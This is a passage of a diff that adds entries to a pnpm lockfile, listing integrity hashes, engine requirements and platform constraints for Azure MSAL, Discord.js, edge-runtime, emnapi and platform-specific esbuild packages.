+ resolution: {integrity: sha512-al2u2fTchbClq3L4C1NlqLm+vwKfhYCPtZN2LR/9xJVaQ4Mnrwf5vANvuyPSJHcGvw50UBmhuVmYUAhTEetTpA==}
+ engines: {node: '>=0.8.0'}
+
+ '@azure/msal-common@15.14.1':
+ resolution: {integrity: sha512-IkzF7Pywt6QKTS0kwdCv/XV8x8JXknZDvSjj/IccooxnP373T5jaadO3FnOrbWo3S0UqkfIDyZNTaQ/oAgRdXw==}
+ engines: {node: '>=0.8.0'}
+
+ '@azure/msal-node@3.8.6':
+ resolution: {integrity: sha512-XTmhdItcBckcVVTy65Xp+42xG4LX5GK+9AqAsXPXk4IqUNv+LyQo5TMwNjuFYBfAB2GTG9iSQGk+QLc03vhf3w==}
+ engines: {node: '>=16'}
+
+ '@cspotcode/source-map-support@0.8.1':
+ resolution: {integrity: sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==}
+ engines: {node: '>=12'}
+
+ '@date-fns/tz@1.4.1':
+ resolution: {integrity: sha512-P5LUNhtbj6YfI3iJjw5EL9eUAG6OitD0W3fWQcpQjDRc/QIsL0tRNuO1PcDvPccWL1fSTXXdE1ds+l95DV/OFA==}
+
+ '@discordjs/builders@1.13.1':
+ resolution: {integrity: sha512-cOU0UDHc3lp/5nKByDxkmRiNZBpdp0kx55aarbiAfakfKJHlxv/yFW1zmIqCAmwH5CRlrH9iMFKJMpvW4DPB+w==}
+ engines: {node: '>=16.11.0'}
+
+ '@discordjs/collection@2.1.1':
+ resolution: {integrity: sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==}
+ engines: {node: '>=18'}
+
+ '@discordjs/formatters@0.6.2':
+ resolution: {integrity: sha512-y4UPwWhH6vChKRkGdMB4odasUbHOUwy7KL+OVwF86PvT6QVOwElx+TiI1/6kcmcEe+g5YRXJFiXSXUdabqZOvQ==}
+ engines: {node: '>=16.11.0'}
+
+ '@discordjs/rest@2.6.0':
+ resolution: {integrity: sha512-RDYrhmpB7mTvmCKcpj+pc5k7POKszS4E2O9TYc+U+Y4iaCP+r910QdO43qmpOja8LRr1RJ0b3U+CqVsnPqzf4w==}
+ engines: {node: '>=18'}
+
+ '@discordjs/util@1.2.0':
+ resolution: {integrity: sha512-3LKP7F2+atl9vJFhaBjn4nOaSWahZ/yWjOvA4e5pnXkt2qyXRCHLxoBQy81GFtLGCq7K9lPm9R517M1U+/90Qg==}
+ engines: {node: '>=18'}
+
+ '@drizzle-team/brocli@0.11.0':
+ resolution: {integrity: sha512-hD3pekGiPg0WPCCGAZmusBBJsDqGUR66Y452YgQsZOnkdQ7ViEPKuyP4huUGEZQefp8g34RRodXYmJ2TbCH+tg==}
+
+ '@edge-runtime/format@2.2.1':
+ resolution: {integrity: sha512-JQTRVuiusQLNNLe2W9tnzBlV/GvSVcozLl4XZHk5swnRZ/v6jp8TqR8P7sqmJsQqblDZ3EztcWmLDbhRje/+8g==}
+ engines: {node: '>=16'}
+
+ '@edge-runtime/node-utils@2.3.0':
+ resolution: {integrity: sha512-uUtx8BFoO1hNxtHjp3eqVPC/mWImGb2exOfGjMLUoipuWgjej+f4o/VP4bUI8U40gu7Teogd5VTeZUkGvJSPOQ==}
+ engines: {node: '>=16'}
+
+ '@edge-runtime/ponyfill@2.4.2':
+ resolution: {integrity: sha512-oN17GjFr69chu6sDLvXxdhg0Qe8EZviGSuqzR9qOiKh4MhFYGdBBcqRNzdmYeAdeRzOW2mM9yil4RftUQ7sUOA==}
+ engines: {node: '>=16'}
+
+ '@edge-runtime/primitives@4.1.0':
+ resolution: {integrity: sha512-Vw0lbJ2lvRUqc7/soqygUX216Xb8T3WBZ987oywz6aJqRxcwSVWwr9e+Nqo2m9bxobA9mdbWNNoRY6S9eko1EQ==}
+ engines: {node: '>=16'}
+
+ '@edge-runtime/vm@3.2.0':
+ resolution: {integrity: sha512-0dEVyRLM/lG4gp1R/Ik5bfPl/1wX00xFwd5KcNH602tzBa09oF7pbTKETEhR1GjZ75K6OJnYFu8II2dyMhONMw==}
+ engines: {node: '>=16'}
+
+ '@emnapi/core@1.8.1':
+ resolution: {integrity: sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg==}
+
+ '@emnapi/runtime@1.8.1':
+ resolution: {integrity: sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg==}
+
+ '@emnapi/wasi-threads@1.1.0':
+ resolution: {integrity: sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==}
+
+ '@esbuild/aix-ppc64@0.25.12':
+ resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==}
+ engines: {node: '>=18'}
+ cpu: [ppc64]
+ os: [aix]
+
+ '@esbuild/aix-ppc64@0.27.0':
+ resolution: {integrity: sha512-KuZrd2hRjz01y5JK9mEBSD3Vj3mbCvemhT466rSuJYeE/hjuBrHfjjcjMdTm/sz7au+++sdbJZJmuBwQLuw68A==}
+ engines: {node: '>=18'}
+ cpu: [ppc64]
+ os: [aix]
+
+ '@esbuild/aix-ppc64@0.27.2':
+ resolution: {integrity: sha512-GZMB+a0mOMZs4MpDbj8RJp4cw+w1WV5NYD6xzgvzUJ5Ek2jerwfO2eADyI6ExDSUED+1X8aMbegahsJi+8mgpw==}
+ engines: {node: '>=18'}
+ cpu: [ppc64]
+ os: [aix]
+
+ '@esbuild/android-arm64@0.25.12':
+ resolution: {integrity: sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [android]
+
+ '@esbuild/android-arm64@0.27.0':
+ resolution: {integrity: sha512-CC3vt4+1xZrs97/PKDkl0yN7w8edvU2vZvAFGD16n9F0Cvniy5qvzRXjfO1l94efczkkQE6g1x0i73Qf5uthOQ==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [android]
+
+ '@esbuild/android-arm64@0.27.2':
+ resolution: {integrity: sha512-pvz8ZZ7ot/RBphf8fv60ljmaoydPU12VuXHImtAs0XhLLw+EXBi2BLe3OYSBslR4rryHvweW5gmkKFwTiFy6KA==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [android]
+
+ '@esbuild/android-arm@0.25.12':
+ resolution: {integrity: sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==}
+ engines: {node: '>=18'}
+ cpu: [arm]
+ os: [android]
+
+ '@esbuild/android-arm@0.27.0':
+ resolution: {integrity: sha512-j67aezrPNYWJEOHUNLPj9maeJte7uSMM6gMoxfPC9hOg8N02JuQi/T7ewumf4tNvJadFkvLZMlAq73b9uwdMyQ==}
+ engines: {node: '>=18'}
+ cpu: [arm]
+ os: [android]
+
+ '@esbuild/android-arm@0.27.2':
+ resolution: {integrity: sha512-DVNI8jlPa7Ujbr1yjU2PfUSRtAUZPG9I1RwW4F4xFB1Imiu2on0ADiI/c3td+KmDtVKNbi+nffGDQMfcIMkwIA==}
+ engines: {node: '>=18'}
+ cpu: [arm]
+ os: [android]
+
+ '@esbuild/android-x64@0.25.12':
+ resolution: {integrity: sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [android]
+
+ '@esbuild/android-x64@0.27.0':
+ resolution: {integrity: sha512-wurMkF1nmQajBO1+0CJmcN17U4BP6GqNSROP8t0X/Jiw2ltYGLHpEksp9MpoBqkrFR3kv2/te6Sha26k3+yZ9Q==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [android]
+
+ '@esbuild/android-x64@0.27.2':
+ resolution: {integrity: sha512-z8Ank4Byh4TJJOh4wpz8g2vDy75zFL0TlZlkUkEwYXuPSgX8yzep596n6mT7905kA9uHZsf/o2OJZubl2l3M7A==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [android]
+
+ '@esbuild/darwin-arm64@0.25.12':
+ resolution: {integrity: sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@esbuild/darwin-arm64@0.27.0':
+ resolution: {integrity: sha512-uJOQKYCcHhg07DL7i8MzjvS2LaP7W7Pn/7uA0B5S1EnqAirJtbyw4yC5jQ5qcFjHK9l6o/MX9QisBg12kNkdHg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@esbuild/darwin-arm64@0.27.2':
+ resolution: {integrity: sha512-davCD2Zc80nzDVRwXTcQP/28fiJbcOwvdolL0sOiOsbwBa72kegmVU0Wrh1MYrbuCL98Omp5dVhQFWRKR2ZAlg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [darwin]
+
+ '@esbuild/darwin-x64@0.25.12':
+ resolution: {integrity: sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [darwin]
+
+ '@esbuild/darwin-x64@0.27.0':
+ resolution: {integrity: sha512-8mG6arH3yB/4ZXiEnXof5MK72dE6zM9cDvUcPtxhUZsDjESl9JipZYW60C3JGreKCEP+p8P/72r69m4AZGJd5g==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [darwin]
+
+ '@esbuild/darwin-x64@0.27.2':
+ resolution: {integrity: sha512-ZxtijOmlQCBWGwbVmwOF/UCzuGIbUkqB1faQRf5akQmxRJ1ujusWsb3CVfk/9iZKr2L5SMU5wPBi1UWbvL+VQA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [darwin]
+
+ '@esbuild/freebsd-arm64@0.25.12':
+ resolution: {integrity: sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [freebsd]
+
+ '@esbuild/freebsd-arm64@0.27.0':
+ resolution: {integrity: sha512-9FHtyO988CwNMMOE3YIeci+UV+x5Zy8fI2qHNpsEtSF83YPBmE8UWmfYAQg6Ux7Gsmd4FejZqnEUZCMGaNQHQw==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [freebsd]
+
+ '@esbuild/freebsd-arm64@0.27.2':
+ resolution: {integrity: sha512-lS/9CN+rgqQ9czogxlMcBMGd+l8Q3Nj1MFQwBZJyoEKI50XGxwuzznYdwcav6lpOGv5BqaZXqvBSiB/kJ5op+g==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [freebsd]
+
+ '@esbuild/freebsd-x64@0.25.12':
+ resolution: {integrity: sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@esbuild/freebsd-x64@0.27.0':
+ resolution: {integrity: sha512-zCMeMXI4HS/tXvJz8vWGexpZj2YVtRAihHLk1imZj4efx1BQzN76YFeKqlDr3bUWI26wHwLWPd3rwh6pe4EV7g==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@esbuild/freebsd-x64@0.27.2':
+ resolution: {integrity: sha512-tAfqtNYb4YgPnJlEFu4c212HYjQWSO/w/h/lQaBK7RbwGIkBOuNKQI9tqWzx7Wtp7bTPaGC6MJvWI608P3wXYA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [freebsd]
+
+ '@esbuild/linux-arm64@0.25.12':
+ resolution: {integrity: sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@esbuild/linux-arm64@0.27.0':
+ resolution: {integrity: sha512-AS18v0V+vZiLJyi/4LphvBE+OIX682Pu7ZYNsdUHyUKSoRwdnOsMf6FDekwoAFKej14WAkOef3zAORJgAtXnlQ==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@esbuild/linux-arm64@0.27.2':
+ resolution: {integrity: sha512-hYxN8pr66NsCCiRFkHUAsxylNOcAQaxSSkHMMjcpx0si13t1LHFphxJZUiGwojB1a/Hd5OiPIqDdXONia6bhTw==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [linux]
+
+ '@esbuild/linux-arm@0.25.12':
+ resolution: {integrity: sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==}
+ engines: {node: '>=18'}
+ cpu: [arm]
+ os: [linux]
+
+ '@esbuild/linux-arm@0.27.0':
+ resolution: {integrity: sha512-t76XLQDpxgmq2cNXKTVEB7O7YMb42atj2Re2Haf45HkaUpjM2J0UuJZDuaGbPbamzZ7bawyGFUkodL+zcE+jvQ==}
+ engines: {node: '>=18'}
+ cpu: [arm]
+ os: [linux]
+
+ '@esbuild/linux-arm@0.27.2':
+ resolution: {integrity: sha512-vWfq4GaIMP9AIe4yj1ZUW18RDhx6EPQKjwe7n8BbIecFtCQG4CfHGaHuh7fdfq+y3LIA2vGS/o9ZBGVxIDi9hw==}
+ engines: {node: '>=18'}
+ cpu: [arm]
+ os: [linux]
+
+ '@esbuild/linux-ia32@0.25.12':
+ resolution: {integrity: sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==}
+ engines: {node: '>=18'}
+ cpu: [ia32]
+ os: [linux]
+
+ '@esbuild/linux-ia32@0.27.0':
+ resolution: {integrity: sha512-Mz1jxqm/kfgKkc/KLHC5qIujMvnnarD9ra1cEcrs7qshTUSksPihGrWHVG5+osAIQ68577Zpww7SGapmzSt4Nw==}
+ engines: {node: '>=18'}
+ cpu: [ia32]
+ os: [linux]
+
+ '@esbuild/linux-ia32@0.27.2':
+ resolution: {integrity: sha512-MJt5BRRSScPDwG2hLelYhAAKh9imjHK5+NE/tvnRLbIqUWa+0E9N4WNMjmp/kXXPHZGqPLxggwVhz7QP8CTR8w==}
+ engines: {node: '>=18'}
+ cpu: [ia32]
+ os: [linux]
+
+ '@esbuild/linux-loong64@0.25.12':
+ resolution: {integrity: sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==}
+ engines: {node: '>=18'}
+ cpu: [loong64]
+ os: [linux]
+
+ '@esbuild/linux-loong64@0.27.0':
+ resolution: {integrity: sha512-QbEREjdJeIreIAbdG2hLU1yXm1uu+LTdzoq1KCo4G4pFOLlvIspBm36QrQOar9LFduavoWX2msNFAAAY9j4BDg==}
+ engines: {node: '>=18'}
+ cpu: [loong64]
+ os: [linux]
+
+ '@esbuild/linux-loong64@0.27.2':
+ resolution: {integrity: sha512-lugyF1atnAT463aO6KPshVCJK5NgRnU4yb3FUumyVz+cGvZbontBgzeGFO1nF+dPueHD367a2ZXe1NtUkAjOtg==}
+ engines: {node: '>=18'}
+ cpu: [loong64]
+ os: [linux]
+
+ '@esbuild/linux-mips64el@0.25.12':
+ resolution: {integrity: sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==}
+ engines: {node: '>=18'}
+ cpu: [mips64el]
+ os: [linux]
+
+ '@esbuild/linux-mips64el@0.27.0':
+ resolution: {integrity: sha512-sJz3zRNe4tO2wxvDpH/HYJilb6+2YJxo/ZNbVdtFiKDufzWq4JmKAiHy9iGoLjAV7r/W32VgaHGkk35cUXlNOg==}
+ engines: {node: '>=18'}
+ cpu: [mips64el]
+ os: [linux]
+
+ '@esbuild/linux-mips64el@0.27.2':
+ resolution: {integrity: sha512-nlP2I6ArEBewvJ2gjrrkESEZkB5mIoaTswuqNFRv/WYd+ATtUpe9Y09RnJvgvdag7he0OWgEZWhviS1OTOKixw==}
+ engines: {node: '>=18'}
+ cpu: [mips64el]
+ os: [linux]
+
+ '@esbuild/linux-ppc64@0.25.12':
+ resolution: {integrity: sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==}
+ engines: {node: '>=18'}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@esbuild/linux-ppc64@0.27.0':
+ resolution: {integrity: sha512-z9N10FBD0DCS2dmSABDBb5TLAyF1/ydVb+N4pi88T45efQ/w4ohr/F/QYCkxDPnkhkp6AIpIcQKQ8F0ANoA2JA==}
+ engines: {node: '>=18'}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@esbuild/linux-ppc64@0.27.2':
+ resolution: {integrity: sha512-C92gnpey7tUQONqg1n6dKVbx3vphKtTHJaNG2Ok9lGwbZil6DrfyecMsp9CrmXGQJmZ7iiVXvvZH6Ml5hL6XdQ==}
+ engines: {node: '>=18'}
+ cpu: [ppc64]
+ os: [linux]
+
+ '@esbuild/linux-riscv64@0.25.12':
+ resolution: {integrity: sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==}
+ engines: {node: '>=18'}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@esbuild/linux-riscv64@0.27.0':
+ resolution: {integrity: sha512-pQdyAIZ0BWIC5GyvVFn5awDiO14TkT/19FTmFcPdDec94KJ1uZcmFs21Fo8auMXzD4Tt+diXu1LW1gHus9fhFQ==}
+ engines: {node: '>=18'}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@esbuild/linux-riscv64@0.27.2':
+ resolution: {integrity: sha512-B5BOmojNtUyN8AXlK0QJyvjEZkWwy/FKvakkTDCziX95AowLZKR6aCDhG7LeF7uMCXEJqwa8Bejz5LTPYm8AvA==}
+ engines: {node: '>=18'}
+ cpu: [riscv64]
+ os: [linux]
+
+ '@esbuild/linux-s390x@0.25.12':
+ resolution: {integrity: sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==}
+ engines: {node: '>=18'}
+ cpu: [s390x]
+ os: [linux]
+
+ '@esbuild/linux-s390x@0.27.0':
+ resolution: {integrity: sha512-hPlRWR4eIDDEci953RI1BLZitgi5uqcsjKMxwYfmi4LcwyWo2IcRP+lThVnKjNtk90pLS8nKdroXYOqW+QQH+w==}
+ engines: {node: '>=18'}
+ cpu: [s390x]
+ os: [linux]
+
+ '@esbuild/linux-s390x@0.27.2':
+ resolution: {integrity: sha512-p4bm9+wsPwup5Z8f4EpfN63qNagQ47Ua2znaqGH6bqLlmJ4bx97Y9JdqxgGZ6Y8xVTixUnEkoKSHcpRlDnNr5w==}
+ engines: {node: '>=18'}
+ cpu: [s390x]
+ os: [linux]
+
+ '@esbuild/linux-x64@0.25.12':
+ resolution: {integrity: sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [linux]
+
+ '@esbuild/linux-x64@0.27.0':
+ resolution: {integrity: sha512-1hBWx4OUJE2cab++aVZ7pObD6s+DK4mPGpemtnAORBvb5l/g5xFGk0vc0PjSkrDs0XaXj9yyob3d14XqvnQ4gw==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [linux]
+
+ '@esbuild/linux-x64@0.27.2':
+ resolution: {integrity: sha512-uwp2Tip5aPmH+NRUwTcfLb+W32WXjpFejTIOWZFw/v7/KnpCDKG66u4DLcurQpiYTiYwQ9B7KOeMJvLCu/OvbA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [linux]
+
+ '@esbuild/netbsd-arm64@0.25.12':
+ resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [netbsd]
+
+ '@esbuild/netbsd-arm64@0.27.0':
+ resolution: {integrity: sha512-6m0sfQfxfQfy1qRuecMkJlf1cIzTOgyaeXaiVaaki8/v+WB+U4hc6ik15ZW6TAllRlg/WuQXxWj1jx6C+dfy3w==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [netbsd]
+
+ '@esbuild/netbsd-arm64@0.27.2':
+ resolution: {integrity: sha512-Kj6DiBlwXrPsCRDeRvGAUb/LNrBASrfqAIok+xB0LxK8CHqxZ037viF13ugfsIpePH93mX7xfJp97cyDuTZ3cw==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [netbsd]
+
+ '@esbuild/netbsd-x64@0.25.12':
+ resolution: {integrity: sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [netbsd]
+
+ '@esbuild/netbsd-x64@0.27.0':
+ resolution: {integrity: sha512-xbbOdfn06FtcJ9d0ShxxvSn2iUsGd/lgPIO2V3VZIPDbEaIj1/3nBBe1AwuEZKXVXkMmpr6LUAgMkLD/4D2PPA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [netbsd]
+
+ '@esbuild/netbsd-x64@0.27.2':
+ resolution: {integrity: sha512-HwGDZ0VLVBY3Y+Nw0JexZy9o/nUAWq9MlV7cahpaXKW6TOzfVno3y3/M8Ga8u8Yr7GldLOov27xiCnqRZf0tCA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [netbsd]
+
+ '@esbuild/openbsd-arm64@0.25.12':
+ resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [openbsd]
+
+ '@esbuild/openbsd-arm64@0.27.0':
+ resolution: {integrity: sha512-fWgqR8uNbCQ/GGv0yhzttj6sU/9Z5/Sv/VGU3F5OuXK6J6SlriONKrQ7tNlwBrJZXRYk5jUhuWvF7GYzGguBZQ==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [openbsd]
+
+ '@esbuild/openbsd-arm64@0.27.2':
+ resolution: {integrity: sha512-DNIHH2BPQ5551A7oSHD0CKbwIA/Ox7+78/AWkbS5QoRzaqlev2uFayfSxq68EkonB+IKjiuxBFoV8ESJy8bOHA==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [openbsd]
+
+ '@esbuild/openbsd-x64@0.25.12':
+ resolution: {integrity: sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [openbsd]
+
+ '@esbuild/openbsd-x64@0.27.0':
+ resolution: {integrity: sha512-aCwlRdSNMNxkGGqQajMUza6uXzR/U0dIl1QmLjPtRbLOx3Gy3otfFu/VjATy4yQzo9yFDGTxYDo1FfAD9oRD2A==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [openbsd]
+
+ '@esbuild/openbsd-x64@0.27.2':
+ resolution: {integrity: sha512-/it7w9Nb7+0KFIzjalNJVR5bOzA9Vay+yIPLVHfIQYG/j+j9VTH84aNB8ExGKPU4AzfaEvN9/V4HV+F+vo8OEg==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [openbsd]
+
+ '@esbuild/openharmony-arm64@0.25.12':
+ resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [openharmony]
+
+ '@esbuild/openharmony-arm64@0.27.0':
+ resolution: {integrity: sha512-nyvsBccxNAsNYz2jVFYwEGuRRomqZ149A39SHWk4hV0jWxKM0hjBPm3AmdxcbHiFLbBSwG6SbpIcUbXjgyECfA==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [openharmony]
+
+ '@esbuild/openharmony-arm64@0.27.2':
+ resolution: {integrity: sha512-LRBbCmiU51IXfeXk59csuX/aSaToeG7w48nMwA6049Y4J4+VbWALAuXcs+qcD04rHDuSCSRKdmY63sruDS5qag==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [openharmony]
+
+ '@esbuild/sunos-x64@0.25.12':
+ resolution: {integrity: sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [sunos]
+
+ '@esbuild/sunos-x64@0.27.0':
+ resolution: {integrity: sha512-Q1KY1iJafM+UX6CFEL+F4HRTgygmEW568YMqDA5UV97AuZSm21b7SXIrRJDwXWPzr8MGr75fUZPV67FdtMHlHA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [sunos]
+
+ '@esbuild/sunos-x64@0.27.2':
+ resolution: {integrity: sha512-kMtx1yqJHTmqaqHPAzKCAkDaKsffmXkPHThSfRwZGyuqyIeBvf08KSsYXl+abf5HDAPMJIPnbBfXvP2ZC2TfHg==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [sunos]
+
+ '@esbuild/win32-arm64@0.25.12':
+ resolution: {integrity: sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [win32]
+
+ '@esbuild/win32-arm64@0.27.0':
+ resolution: {integrity: sha512-W1eyGNi6d+8kOmZIwi/EDjrL9nxQIQ0MiGqe/AWc6+IaHloxHSGoeRgDRKHFISThLmsewZ5nHFvGFWdBYlgKPg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [win32]
+
+ '@esbuild/win32-arm64@0.27.2':
+ resolution: {integrity: sha512-Yaf78O/B3Kkh+nKABUF++bvJv5Ijoy9AN1ww904rOXZFLWVc5OLOfL56W+C8F9xn5JQZa3UX6m+IktJnIb1Jjg==}
+ engines: {node: '>=18'}
+ cpu: [arm64]
+ os: [win32]
+
+ '@esbuild/win32-ia32@0.25.12':
+ resolution: {integrity: sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==}
+ engines: {node: '>=18'}
+ cpu: [ia32]
+ os: [win32]
+
+ '@esbuild/win32-ia32@0.27.0':
+ resolution: {integrity: sha512-30z1aKL9h22kQhilnYkORFYt+3wp7yZsHWus+wSKAJR8JtdfI76LJ4SBdMsCopTR3z/ORqVu5L1vtnHZWVj4cQ==}
+ engines: {node: '>=18'}
+ cpu: [ia32]
+ os: [win32]
+
+ '@esbuild/win32-ia32@0.27.2':
+ resolution: {integrity: sha512-Iuws0kxo4yusk7sw70Xa2E2imZU5HoixzxfGCdxwBdhiDgt9vX9VUCBhqcwY7/uh//78A1hMkkROMJq9l27oLQ==}
+ engines: {node: '>=18'}
+ cpu: [ia32]
+ os: [win32]
+
+ '@esbuild/win32-x64@0.25.12':
+ resolution: {integrity: sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [win32]
+
+ '@esbuild/win32-x64@0.27.0':
+ resolution: {integrity: sha512-aIitBcjQeyOhMTImhLZmtxfdOcuNRpwlPNmlFKPcHQYPhEssw75Cl1TSXJXpMkzaua9FUetx/4OQKq7eJul5Cg==}
+ engines: {node: '>=18'}
+ cpu: [x64]
+ os: [win32]
+
+ '@esbuild/win32-x64@0.27.2':
